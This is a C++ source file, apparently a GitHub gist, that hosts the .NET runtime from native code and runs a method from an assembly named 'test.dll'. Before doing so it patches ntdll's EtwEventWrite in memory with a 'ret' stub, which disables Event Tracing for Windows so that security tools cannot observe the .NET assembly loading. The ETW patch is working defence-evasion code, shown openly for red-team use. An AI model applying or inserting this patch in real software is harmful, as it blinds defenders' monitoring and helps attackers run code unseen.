#include <stdio.h> | |
#include <Windows.h> | |
#include <MSCorEE.h> | |
#include <MetaHost.h> | |
#include <evntprov.h> | |
int main() | |
{ | |
ICLRMetaHost* metaHost = NULL; | |
IEnumUnknown* runtime = NULL; | |
ICLRRuntimeInfo* runtimeInfo = NULL; | |
ICLRRuntimeHost* runtimeHost = NULL; | |
IUnknown* enumRuntime = NULL; | |
LPWSTR frameworkName = NULL; | |
DWORD bytes = 2048, result = 0; | |
HRESULT hr; | |
DWORD oldProt, oldOldProt; | |
printf("CLR via native code.... @_xpn_\n\n"); | |
// Get the EventWrite function | |
void* eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite"); | |
// Allow writing to page | |
VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt); | |
// Patch with "ret 14" on x86 | |
memcpy(eventWrite, "\xc2\x14\x00\x00", 4); | |
// Return memory to original protection | |
VirtualProtect(eventWrite, 4, oldProt, &oldOldProt); | |
if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)& metaHost) != S_OK) { | |
printf("[x] Error: CLRCreateInstance(..)\n"); | |
return 2; | |
} | |
if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) { | |
printf("[x] Error: EnumerateInstalledRuntimes(..)\n"); | |
return 2; | |
} | |
frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048); | |
if (frameworkName == NULL) { | |
printf("[x] Error: malloc could not allocate\n"); | |
return 2; | |
} | |
// Enumerate through runtimes and show supported frameworks | |
while (runtime->Next(1, &enumRuntime, 0) == S_OK) { | |
if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) { | |
if (runtimeInfo != NULL) { | |
runtimeInfo->GetVersionString(frameworkName, &bytes); | |
wprintf(L"[*] Supported Framework: %s\n", frameworkName); | |
} | |
} | |
} | |
result = runtimeInfo->SetDefaultStartupFlags(1, NULL); | |
// For demo, we just use the last supported runtime | |
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)& runtimeHost) != S_OK) { | |
printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n"); | |
return 2; | |
} | |
if (runtimeHost == NULL || bytes == 0) { | |
wprintf(L"[*] Using runtime: %s\n", frameworkName); | |
} | |
// Start runtime, and load our assembly | |
runtimeHost->Start(); | |
printf("[*] ======= Calling .NET Code =======\n\n"); | |
if (runtimeHost->ExecuteInDefaultAppDomain( | |
L"test.dll", | |
L"test.Program", | |
L"test", | |
L"argtest", | |
&result | |
) != S_OK) { | |
printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n"); | |
return 2; | |
} | |
printf("[*] ======= Done =======\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment